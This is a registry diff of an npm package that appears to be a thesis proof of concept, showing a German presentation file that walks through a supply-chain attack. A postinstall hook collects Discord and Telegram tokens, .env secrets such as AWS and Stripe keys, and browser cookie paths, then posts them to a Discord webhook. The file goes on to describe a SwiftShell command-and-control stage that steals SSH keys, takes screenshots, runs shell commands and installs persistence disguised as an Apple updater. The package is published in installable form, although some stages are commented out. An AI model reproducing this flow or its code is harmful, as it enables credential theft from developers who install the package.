mailcheckertestpoc 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/C2-INTEGRATION.md +215 -0
- package/PRESENTATION-FLOW.md +594 -0
- package/README.md +253 -0
- package/THESIS-C2-COMPLETE.md +479 -0
- package/index.js +7 -0
- package/package.json +53 -0
- package/payloads/ca.key +28 -0
- package/payloads/ca.pem +19 -0
- package/payloads/swiftshell-server.py +763 -0
- package/scripts/collect.js +271 -0
- package/scripts/launcher.js +175 -0
- package/scripts/server-launcher.js +206 -0
- package/scripts/swift-client-launcher.js +216 -0
|
@@ -0,0 +1,594 @@
|
|
|
1
|
+
# 📊 Complete Attack Flow - Theoretical Presentation
|
|
2
|
+
|
|
3
|
+
## Für deine Thesis-Präsentation: "So würde es funktionieren"
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 🎯 SZENARIO: Opfer führt aus
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
$ cd victim-app
|
|
11
|
+
$ npm install
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
**Was der Opfer sieht:** Normale npm Installation
|
|
15
|
+
**Was im Hintergrund passiert:** Zweigleisiger Supply-Chain-Angriff
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## ⏱️ ZEITSTRAHL: Was würde passieren
|
|
20
|
+
|
|
21
|
+
### **T+0s: Benutzer führt `npm install` aus**
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
$ npm install
|
|
25
|
+
|
|
26
|
+
added 1 package from file:../malicious-pkg in 0.5s
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
Der Angreifer hat die `lodahs` dependency in `package.json`:
|
|
30
|
+
```json
|
|
31
|
+
{
|
|
32
|
+
"dependencies": {
|
|
33
|
+
"lodahs": "file:../malicious-pkg"
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
✅ **postinstall hook triggert** → `node scripts/collect.js`
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
### **T+0.5s: PHASE 1 STARTET - Daten-Collection**
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
[THESIS POC] System information collection started...
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
#### **Schritt 1a: System-Info sammeln**
|
|
49
|
+
|
|
50
|
+
```javascript
|
|
51
|
+
// Was collect.js macht:
|
|
52
|
+
const info = {
|
|
53
|
+
hostname: "victim-mac.local",
|
|
54
|
+
user: "alex_mueller",
|
|
55
|
+
platform: "darwin",
|
|
56
|
+
arch: "arm64",
|
|
57
|
+
nodeVersion: "v18.16.0",
|
|
58
|
+
cwd: "/Users/alex_mueller/victim-app",
|
|
59
|
+
ip: "192.168.1.45" // über curl https://api.ipify.org
|
|
60
|
+
};
|
|
61
|
+
|
|
62
|
+
Log: ✓ Hostname: victim-mac.local
|
|
63
|
+
Log: ✓ User: alex_mueller
|
|
64
|
+
Log: ✓ IP: 192.168.1.45
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
**Dauer:** ~100ms (parallel curl für IP)
|
|
68
|
+
|
|
69
|
+
---
|
|
70
|
+
|
|
71
|
+
#### **Schritt 1b: Discord-Token scannen**
|
|
72
|
+
|
|
73
|
+
```javascript
|
|
74
|
+
// Sucht an bekannten Orten:
|
|
75
|
+
|
|
76
|
+
// 1. Fake-Datei (für Demo)
|
|
77
|
+
const staged = fs.readFileSync("~/.discord_token_staged")
|
|
78
|
+
// Gefunden: "MTA1MzkyNzQ1OTI0MjU2MjU2.GxB_kL.abc123xyz"
|
|
79
|
+
|
|
80
|
+
// 2. Echter Discord Location (würde auch funktionieren)
|
|
81
|
+
// ~/Library/Application Support/discord/Local Storage/leveldb
|
|
82
|
+
// → Liest .log Dateien mit Token-Pattern
|
|
83
|
+
// → Extrahiert Discord Token via Regex
|
|
84
|
+
|
|
85
|
+
Log: ✓ Discord Token source: staged_file
|
|
86
|
+
Log: ✓ Token (first 60 chars): MTA1MzkyNzQ1OTI0MjU2MjU2.GxB_kL.ab...
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**Dauer:** ~50ms (Filesystem Reads)
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
#### **Schritt 1c: Telegram-Session auslesen**
|
|
94
|
+
|
|
95
|
+
```javascript
|
|
96
|
+
// ~/.telegram_session_staged
|
|
97
|
+
const telegram = fs.readFileSync("~/.telegram_session_staged")
|
|
98
|
+
// Gefunden: "1234567890:ABCDef_ghijKLmnopQRstUVWXYZ123456"
|
|
99
|
+
|
|
100
|
+
Log: ✓ Telegram Session: 1234567890:ABCDef_ghijK...
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
**Dauer:** ~20ms
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
#### **Schritt 1d: .env-Secrets scannen**
|
|
108
|
+
|
|
109
|
+
```javascript
|
|
110
|
+
// Sucht in mehreren Dateien:
|
|
111
|
+
// 1. ~/.env_staged
|
|
112
|
+
// 2. ./process.cwd()/.env
|
|
113
|
+
// 3. ./process.cwd()/../.env
|
|
114
|
+
|
|
115
|
+
// Findet Patterns:
|
|
116
|
+
const secrets = {
|
|
117
|
+
discord_token: "MTA...",
|
|
118
|
+
telegram_api_id: "123456789",
|
|
119
|
+
telegram_api_hash: "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6",
|
|
120
|
+
aws_key_id: "AKIAIOSFODNN7EXAMPLE",
|
|
121
|
+
aws_secret: "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY",
|
|
122
|
+
stripe_key: "sk_live_4eC39HqLyjWDarhuO1ZWwO50"
|
|
123
|
+
};
|
|
124
|
+
|
|
125
|
+
Log: ✓ Found AWS_ACCESS_KEY_ID
|
|
126
|
+
Log: ✓ Found STRIPE_SECRET_KEY
|
|
127
|
+
Log: ✓ Found TELEGRAM_API_*
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Dauer:** ~100ms (3 Datei-Reads + Regex Matching)
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
#### **Schritt 1e: Browser-Cookies enumerieren**
|
|
135
|
+
|
|
136
|
+
```javascript
|
|
137
|
+
// Sucht Chrome/Chromium Cookie-Datenbanken:
|
|
138
|
+
// ~/Library/Application Support/Google/Chrome/Default/Cookies
|
|
139
|
+
// ~/Library/Application Support/Chromium/Default/Cookies
|
|
140
|
+
// ~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Cookies
|
|
141
|
+
|
|
142
|
+
// Dateien existieren:
|
|
143
|
+
const stats = fs.statSync(chromePath);
|
|
144
|
+
|
|
145
|
+
Log: ✓ Chrome Cookies found: /Users/.../Chrome/Default/Cookies
|
|
146
|
+
Log: ✓ Size: 1.2MB
|
|
147
|
+
Log: ✓ SQLite DB - würde diese Query ausführen:
|
|
148
|
+
SELECT host_key, name, value FROM cookies
|
|
149
|
+
WHERE host_key LIKE '%.discord.com%'
|
|
150
|
+
OR host_key LIKE '%.telegram.org%'
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
**Dauer:** ~30ms (Stat calls)
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
### **T+2s: PHASE 1 DATEN-PACKAGE ZUSAMMENSTELLEN**
|
|
158
|
+
|
|
159
|
+
```javascript
|
|
160
|
+
const payload = {
|
|
161
|
+
system: {
|
|
162
|
+
hostname: "victim-mac.local",
|
|
163
|
+
user: "alex_mueller",
|
|
164
|
+
ip: "192.168.1.45",
|
|
165
|
+
// ... alle gesammelten Daten
|
|
166
|
+
},
|
|
167
|
+
discord: {
|
|
168
|
+
source: "staged_file",
|
|
169
|
+
token: "MTA1Mz..."
|
|
170
|
+
},
|
|
171
|
+
telegram: "1234567890:ABCDef...",
|
|
172
|
+
env: {
|
|
173
|
+
aws_key_id: "AKIA...",
|
|
174
|
+
stripe_key: "sk_live..."
|
|
175
|
+
},
|
|
176
|
+
cookies: {
|
|
177
|
+
path: "~/Library/Application Support/Google/Chrome/Default/Cookies",
|
|
178
|
+
size_bytes: 1257472
|
|
179
|
+
}
|
|
180
|
+
};
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
**Format:** Discord Embed mit allen Feldern
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
### **T+2.5s: DISCORD WEBHOOK SENDEN**
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
POST https://discord.com/api/webhooks/1234567890/abcdefg_hijklmnop
|
|
191
|
+
Content-Type: application/json
|
|
192
|
+
|
|
193
|
+
{
|
|
194
|
+
"embeds": [{
|
|
195
|
+
"title": "SUPPLY CHAIN POC — Neue Victim",
|
|
196
|
+
"description": "Paket `lodahs@1.0.0` installiert auf `victim-mac.local`",
|
|
197
|
+
"color": 16744452, // Rot
|
|
198
|
+
"fields": [
|
|
199
|
+
{
|
|
200
|
+
"name": "System",
|
|
201
|
+
"value": "**Host:** victim-mac.local\n**User:** alex_mueller\n**IP:** 192.168.1.45"
|
|
202
|
+
},
|
|
203
|
+
{
|
|
204
|
+
"name": "Discord Token",
|
|
205
|
+
"value": "**Source:** staged_file\n```MTA1Mz...```"
|
|
206
|
+
},
|
|
207
|
+
// ... weitere Credentials
|
|
208
|
+
],
|
|
209
|
+
"timestamp": "2026-04-18T14:30:45.123Z"
|
|
210
|
+
}]
|
|
211
|
+
}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
**Response:** HTTP 204 No Content (Success)
|
|
215
|
+
|
|
216
|
+
Log:
|
|
217
|
+
```
|
|
218
|
+
✓ Data sent to Discord webhook
|
|
219
|
+
✓ Phase 1 (Data Collection) complete - EXFILTRATION SUCCESSFUL
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
**Dauer:** ~500ms (HTTPS request + SSL handshake)
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## 🚀 T+3s: PHASE 2 WÜRDE STARTEN (Wenn nicht kommentiert)
|
|
227
|
+
|
|
228
|
+
```javascript
|
|
229
|
+
// In collect.js:
|
|
230
|
+
// require("./launcher.js"); // <- KOMMENTIERT, würde aber hier aufrufen
|
|
231
|
+
|
|
232
|
+
console.log("[THESIS POC] Phase 2 (C2-Launcher) wird initialisiert...");
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
### **Schritt 2a: MacShellSwift Launcher startet**
|
|
236
|
+
|
|
237
|
+
```bash
|
|
238
|
+
[launcher.js] 🔴 === THESIS POC: MacShellSwift Launcher Started ===
|
|
239
|
+
[launcher.js] Platform: darwin
|
|
240
|
+
[launcher.js] User: alex_mueller
|
|
241
|
+
[launcher.js] ✓ MacShellSwift Binary gefunden: ~/Desktop/MacShellSwift/.build/debug/MacShellSwift
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
**Was launcher.js macht:**
|
|
245
|
+
- Verifiziert MacShellSwift existiert ✓
|
|
246
|
+
- Erstellt Konfiguration in `~/.supply-chain-poc/macshell-config.json`
|
|
247
|
+
- Ruft server-launcher auf (KOMMENTIERT)
|
|
248
|
+
- Ruft swift-client-launcher auf (KOMMENTIERT)
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
### **Schritt 2b: Python C2-Server würde starten (Kommentiert)**
|
|
253
|
+
|
|
254
|
+
```bash
|
|
255
|
+
# server-launcher.js würde aufgerufen werden:
|
|
256
|
+
|
|
257
|
+
[server-launcher.js] ✓ Python Server gefunden: ~/Desktop/MacShellSwift/MacShellSwift/swiftshell-server.py
|
|
258
|
+
[server-launcher.js] ✓ Python verfügbar: Python 3.11.0
|
|
259
|
+
[server-launcher.js] ✓ SSL Certificate: ca.pem
|
|
260
|
+
[server-launcher.js] ✓ SSL Private Key: ca.key
|
|
261
|
+
|
|
262
|
+
# Würde dann spawn()en:
|
|
263
|
+
python3 ~/Desktop/MacShellSwift/MacShellSwift/swiftshell-server.py
|
|
264
|
+
|
|
265
|
+
# Server Output:
|
|
266
|
+
<------------------------------------------------------------------->
|
|
267
|
+
* __ _ __ _ __ _ _ _ *
|
|
268
|
+
* / _\ _ _(_)/ _| |_/ _\ |__ ___| | | *
|
|
269
|
+
* \ \ \ \ /\ / / | |_| __\ \| '_ \ / _ \ | | *
|
|
270
|
+
* _\ \ \ V V /| | _| |__\ \ | | | __/ | | | *
|
|
271
|
+
* \__/ \_/\_/ |_|_| \__\__/_| |_|\___|_|_| *
|
|
272
|
+
* *
|
|
273
|
+
* OSX Post Exploitation Tool (client written in Swift) *
|
|
274
|
+
* author: @cedowens *
|
|
275
|
+
<------------------------------------------------------------------->
|
|
276
|
+
|
|
277
|
+
[+] Server listening on 127.0.0.1:443
|
|
278
|
+
[+] SSL enabled (RSA 2048-bit)
|
|
279
|
+
[+] Awaiting client connection...
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
**Server Status:** Running und wartet auf Clients
|
|
283
|
+
**Dauer bis ready:** ~100ms
|
|
284
|
+
|
|
285
|
+
---
|
|
286
|
+
|
|
287
|
+
### **Schritt 2c: Swift Client würde kompiliert werden (Kommentiert)**
|
|
288
|
+
|
|
289
|
+
```bash
|
|
290
|
+
# swift-client-launcher.js würde aufgerufen werden:
|
|
291
|
+
|
|
292
|
+
[swift-client-launcher.js] ✓ Swift verfügbar: Apple Swift version 5.9.0
|
|
293
|
+
[swift-client-launcher.js] ✓ main.swift gefunden
|
|
294
|
+
|
|
295
|
+
# Würde Swift Build starten:
|
|
296
|
+
$ swift build -C ~/Desktop/MacShellSwift/MacShellSwift
|
|
297
|
+
|
|
298
|
+
Building for debugging...
|
|
299
|
+
[1/5] Fetching socket
|
|
300
|
+
[2/5] Fetching sslservice
|
|
301
|
+
[3/5] Compiling Socket Socket.swift
|
|
302
|
+
[4/5] Compiling SSLService SSLService.swift
|
|
303
|
+
[5/5] Compiling MacShellSwift main.swift
|
|
304
|
+
Build complete! (2.3s)
|
|
305
|
+
|
|
306
|
+
[swift-client-launcher.js] ✓ Binary output: .build/debug/MacShellSwift
|
|
307
|
+
[swift-client-launcher.js] ✓ Binary size: 523KB
|
|
308
|
+
[swift-client-launcher.js] ✓ Ready to launch
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
**Dauer:** ~2-3 Sekunden (Swift compilation)
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
### **Schritt 2d: Swift Client würde launchen (Kommentiert)**
|
|
316
|
+
|
|
317
|
+
```bash
|
|
318
|
+
# Binärdatei starten:
|
|
319
|
+
$ ./.build/debug/MacShellSwift
|
|
320
|
+
|
|
321
|
+
# Client verbindet zu C2 Server:
|
|
322
|
+
[Client] Initializing SSL connection...
|
|
323
|
+
[Client] Connecting to 127.0.0.1:443
|
|
324
|
+
[Client] Sending canary: SwiftShellR0ckZ!
|
|
325
|
+
[Client] ✓ Connection established
|
|
326
|
+
[Client] ✓ SSL handshake complete
|
|
327
|
+
[Client] Awaiting commands...
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
---
|
|
331
|
+
|
|
332
|
+
## 🎮 T+6s: PHASE 3 - C2 KOMMUNIKATION (Wenn aktiviert)
|
|
333
|
+
|
|
334
|
+
### **Server empfängt Client-Verbindung**
|
|
335
|
+
|
|
336
|
+
```
|
|
337
|
+
[SERVER] [SESSION 1]: Connection received from 127.0.0.1:58234
|
|
338
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>>
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
**Operatör (Angreifer) gibt Command:**
|
|
342
|
+
|
|
343
|
+
```
|
|
344
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> help
|
|
345
|
+
---------------------------------------------------------------------------
|
|
346
|
+
Help menu:
|
|
347
|
+
|
|
348
|
+
COMMANDS:
|
|
349
|
+
> systeminfo : Return useful system information: IS OPSEC SAFE
|
|
350
|
+
> whoami : Show current user identity: IS OPSEC SAFE
|
|
351
|
+
> pwd : Show working directory: IS OPSEC SAFE
|
|
352
|
+
> cd [directory] : Change directory: IS OPSEC SAFE
|
|
353
|
+
> listdir : List files and directories: IS OPSEC SAFE
|
|
354
|
+
> download [file] : Download files: IS OPSEC SAFE
|
|
355
|
+
> screenshot : Capture screen: IS OPSEC SAFE
|
|
356
|
+
> prompt : Fake Keychain prompt: NOT OPSEC SAFE
|
|
357
|
+
> persist : Install persistence: NOT OPSEC SAFE
|
|
358
|
+
> shell [cmd] : Execute shell command: NOT OPSEC SAFE
|
|
359
|
+
> exit : Exit session
|
|
360
|
+
---------------------------------------------------------------------------
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
---
|
|
364
|
+
|
|
365
|
+
### **Beispiel: Angreifer führt `systeminfo` aus**
|
|
366
|
+
|
|
367
|
+
```
|
|
368
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> systeminfo
|
|
369
|
+
|
|
370
|
+
[CLIENT] Executing: systeminfo
|
|
371
|
+
[CLIENT] Collecting system information...
|
|
372
|
+
|
|
373
|
+
Hostname: victim-mac.local
|
|
374
|
+
OS Version: macOS 13.6 (22G120)
|
|
375
|
+
Kernel Version: Darwin 22.6.0
|
|
376
|
+
Architecture: arm64
|
|
377
|
+
Memory: 16GB
|
|
378
|
+
CPU: Apple M1 Pro
|
|
379
|
+
Uptime: 234 days
|
|
380
|
+
```
|
|
381
|
+
|
|
382
|
+
---
|
|
383
|
+
|
|
384
|
+
### **Beispiel: Screenshot download**
|
|
385
|
+
|
|
386
|
+
```
|
|
387
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> screenshot
|
|
388
|
+
|
|
389
|
+
[CLIENT] Capturing screenshot...
|
|
390
|
+
[CLIENT] Screenshot 1/1: 3.2MB JPEG captured
|
|
391
|
+
[CLIENT] Sending to server...
|
|
392
|
+
|
|
393
|
+
[SERVER] ✓ Screenshot received (3.2MB)
|
|
394
|
+
[SERVER] Saved to: ./screenshots/victim-mac_2026-04-18_143050.jpg
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
---
|
|
398
|
+
|
|
399
|
+
### **Beispiel: File download (Exfiltration)**
|
|
400
|
+
|
|
401
|
+
```
|
|
402
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> download ~/.ssh/id_rsa
|
|
403
|
+
|
|
404
|
+
[CLIENT] Attempting to download: ~/.ssh/id_rsa
|
|
405
|
+
[CLIENT] ✓ File found (4.2KB)
|
|
406
|
+
[CLIENT] Sending...
|
|
407
|
+
|
|
408
|
+
[SERVER] ✓ File received (4.2KB)
|
|
409
|
+
[SERVER] Saved to: ./downloads/id_rsa
|
|
410
|
+
|
|
411
|
+
# Angreifer hat jetzt SSH-Key des Opfers
|
|
412
|
+
```
|
|
413
|
+
|
|
414
|
+
---
|
|
415
|
+
|
|
416
|
+
### **Beispiel: Persistence Installation**
|
|
417
|
+
|
|
418
|
+
```
|
|
419
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> persist
|
|
420
|
+
|
|
421
|
+
[CLIENT] Installing persistence...
|
|
422
|
+
[CLIENT] Creating LaunchAgent plist...
|
|
423
|
+
[CLIENT] Writing: ~/Library/LaunchAgents/com.apple.updater.plist
|
|
424
|
+
[CLIENT] Loading with launchctl...
|
|
425
|
+
[CLIENT] ✓ Persistence installed
|
|
426
|
+
|
|
427
|
+
# Nächster Boot: MacShellSwift startet automatisch
|
|
428
|
+
```
|
|
429
|
+
|
|
430
|
+
---
|
|
431
|
+
|
|
432
|
+
### **Beispiel: Shell command execution**
|
|
433
|
+
|
|
434
|
+
```
|
|
435
|
+
[SERVER] [SESSION 1: 127.0.0.1]>>> shell cat ~/.bash_history | grep password
|
|
436
|
+
|
|
437
|
+
[CLIENT] Executing: cat ~/.bash_history | grep password
|
|
438
|
+
|
|
439
|
+
# Bash history mit Passwords/Tokens:
|
|
440
|
+
export AWS_KEY=AKIA...
|
|
441
|
+
ssh -i ~/.ssh/key user@internal.company.com
|
|
442
|
+
mysql -u admin -p'MyPassword123' production_db
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
---
|
|
446
|
+
|
|
447
|
+
## 📁 DATEIEN DIE GENERIERT WERDEN
|
|
448
|
+
|
|
449
|
+
### **Nach Phase 1 (immer)**
|
|
450
|
+
|
|
451
|
+
```
|
|
452
|
+
~/.supply-chain-poc/
|
|
453
|
+
├── macshell-launcher.log
|
|
454
|
+
│ └─ [2026-04-18 14:30:00.123] ✓ Configuration geschrieben
|
|
455
|
+
│ └─ [2026-04-18 14:30:00.200] ✓ Launcher-Phase abgeschlossen
|
|
456
|
+
│
|
|
457
|
+
├── STATUS.md
|
|
458
|
+
│ ├─ Phase 1: COMPLETED ✓
|
|
459
|
+
│ ├─ Phase 2: DEACTIVATED (code present)
|
|
460
|
+
│ └─ Phase 3: DEACTIVATED (code present)
|
|
461
|
+
```
|
|
462
|
+
|
|
463
|
+
### **Nach Phase 2 (wenn aktiviert)**
|
|
464
|
+
|
|
465
|
+
```
|
|
466
|
+
~/.supply-chain-poc/
|
|
467
|
+
├── c2-server.log
|
|
468
|
+
│ └─ [2026-04-18 14:30:05.100] Server listening on 127.0.0.1:443
|
|
469
|
+
│ └─ [2026-04-18 14:30:05.200] SSL enabled
|
|
470
|
+
│ └─ [2026-04-18 14:30:05.300] Awaiting client connection...
|
|
471
|
+
│
|
|
472
|
+
├── swift-client.log
|
|
473
|
+
│ └─ [2026-04-18 14:30:07.100] Swift compilation successful
|
|
474
|
+
│ └─ [2026-04-18 14:30:07.200] Binary: .build/debug/MacShellSwift (523KB)
|
|
475
|
+
│ └─ [2026-04-18 14:30:07.300] Launching client...
|
|
476
|
+
│
|
|
477
|
+
├── c2-server-config.json
|
|
478
|
+
│ {
|
|
479
|
+
│ "c2_parameters": {
|
|
480
|
+
│ "bind_host": "127.0.0.1",
|
|
481
|
+
│ "bind_port": 443,
|
|
482
|
+
│ "ssl_cert": "~/Desktop/MacShellSwift/MacShellSwift/ca.pem",
|
|
483
|
+
│ "ssl_key": "~/Desktop/MacShellSwift/MacShellSwift/ca.key"
|
|
484
|
+
│ }
|
|
485
|
+
│ }
|
|
486
|
+
│
|
|
487
|
+
└── swift-client-config.json
|
|
488
|
+
{
|
|
489
|
+
"c2_host": "127.0.0.1",
|
|
490
|
+
"c2_port": 443,
|
|
491
|
+
"canary": "SwiftShellR0ckZ!"
|
|
492
|
+
}
|
|
493
|
+
```
|
|
494
|
+
|
|
495
|
+
### **Nach Phase 3 (wenn aktiviert)**
|
|
496
|
+
|
|
497
|
+
```
|
|
498
|
+
~/.supply-chain-poc/
|
|
499
|
+
├── c2-server.log
|
|
500
|
+
│ ├─ [14:30:09] [SESSION 1]: Connection received from 127.0.0.1:58234
|
|
501
|
+
│ ├─ [14:30:10] [SESSION 1]>>> systeminfo
|
|
502
|
+
│ ├─ [14:30:11] ✓ Hostname: victim-mac.local
|
|
503
|
+
│ ├─ [14:30:15] [SESSION 1]>>> screenshot
|
|
504
|
+
│ ├─ [14:30:16] ✓ Screenshot received (3.2MB)
|
|
505
|
+
│ └─ [14:30:20] [SESSION 1]>>> exit
|
|
506
|
+
│
|
|
507
|
+
├── ./screenshots/
|
|
508
|
+
│ └─ victim-mac_2026-04-18_143015.jpg (3.2MB)
|
|
509
|
+
│
|
|
510
|
+
├── ./downloads/
|
|
511
|
+
│ ├─ id_rsa (4.2KB)
|
|
512
|
+
│ ├─ .bash_history (12KB)
|
|
513
|
+
│ └─ credentials.txt (856B)
|
|
514
|
+
```
|
|
515
|
+
|
|
516
|
+
---
|
|
517
|
+
|
|
518
|
+
## 📊 TIMELINE ZUSAMMENGEFASST
|
|
519
|
+
|
|
520
|
+
```
|
|
521
|
+
T+0.0s npm install triggert postinstall
|
|
522
|
+
T+0.5s Phase 1 startet (collect.js)
|
|
523
|
+
T+0.6s System info + Discord token gescannt
|
|
524
|
+
T+1.0s Telegram session + .env secrets gescannt
|
|
525
|
+
T+1.1s Browser cookies enumeriiert
|
|
526
|
+
T+2.0s Daten-Package gebaut
|
|
527
|
+
T+2.5s Discord Webhook versendet ✓ PHASE 1 COMPLETE
|
|
528
|
+
└─ Angreifer erhält: Creds, IPs, Secrets
|
|
529
|
+
|
|
530
|
+
T+3.0s Phase 2 würde starten (Wenn kommentare entfernt)
|
|
531
|
+
│
|
|
532
|
+
├─ T+3.1s: launcher.js
|
|
533
|
+
├─ T+3.2s: server-launcher.js
|
|
534
|
+
│ └─ Python Server startet auf 127.0.0.1:443
|
|
535
|
+
│
|
|
536
|
+
├─ T+3.3s: swift-client-launcher.js
|
|
537
|
+
│ └─ Swift Build startet (2-3 Sekunden)
|
|
538
|
+
│
|
|
539
|
+
└─ T+5.5s: Swift Binary startet
|
|
540
|
+
└─ Client verbindet zu Server
|
|
541
|
+
|
|
542
|
+
T+6.0s Phase 3 ACTIVE: C2 Kommunikation
|
|
543
|
+
│
|
|
544
|
+
├─ Angreifer gibt Commands
|
|
545
|
+
├─ Client führt aus
|
|
546
|
+
├─ Ergebnisse zurück an Angreifer
|
|
547
|
+
└─ FULL COMPROMISE - Persistenz möglich
|
|
548
|
+
```
|
|
549
|
+
|
|
550
|
+
---
|
|
551
|
+
|
|
552
|
+
## 🎓 FÜR DEINE PRÄSENTATION
|
|
553
|
+
|
|
554
|
+
### Was du zeigst:
|
|
555
|
+
|
|
556
|
+
```bash
|
|
557
|
+
# 1. Der Code
|
|
558
|
+
cat scripts/collect.js # Phase 1 (aktiv)
|
|
559
|
+
cat scripts/launcher.js # Phase 2 (kommentiert)
|
|
560
|
+
cat scripts/server-launcher.js # Phase 2 Detail (kommentiert)
|
|
561
|
+
cat scripts/swift-client-launcher.js # Phase 3 Detail (kommentiert)
|
|
562
|
+
|
|
563
|
+
# 2. Die Logs (nach npm install)
|
|
564
|
+
cat ~/.supply-chain-poc/STATUS.md # Zeigt was funktioniert
|
|
565
|
+
cat ~/.supply-chain-poc/macshell-launcher.log # Zeigt jeden Schritt
|
|
566
|
+
|
|
567
|
+
# 3. Die Konfiguration (vorbereitet)
|
|
568
|
+
cat ~/.supply-chain-poc/macshell-config.json # C2 Parameter
|
|
569
|
+
cat ~/.supply-chain-poc/c2-server-config.json # Server Config
|
|
570
|
+
cat ~/.supply-chain-poc/swift-client-config.json # Client Config
|
|
571
|
+
```
|
|
572
|
+
|
|
573
|
+
### Was du sagst:
|
|
574
|
+
|
|
575
|
+
```
|
|
576
|
+
"Phase 1 funktioniert bereits - ihr seht hier die Logs.
|
|
577
|
+
|
|
578
|
+
Phase 2 und 3 sind im Code vorhanden und würden funktionieren,
|
|
579
|
+
wenn die Uncomments entfernt wären. Sie sind absichtlich deaktiviert
|
|
580
|
+
um Sicherheit in der Thesis zu gewährleisten.
|
|
581
|
+
|
|
582
|
+
Aber die Architektur ist komplett:
|
|
583
|
+
- Daten-Exfiltration (Discord webhook)
|
|
584
|
+
- C2 Server (Python, 127.0.0.1:443)
|
|
585
|
+
- C2 Client (Swift binary, verschlüsselt)
|
|
586
|
+
- Remote command execution
|
|
587
|
+
- Persistence via LaunchAgent
|
|
588
|
+
|
|
589
|
+
Das demonstriert den kompletten Supply Chain Attack Flow."
|
|
590
|
+
```
|
|
591
|
+
|
|
592
|
+
---
|
|
593
|
+
|
|
594
|
+
**Das ist was theoretisch passiert – ohne etwas wirklich auszuführen.** ✓
|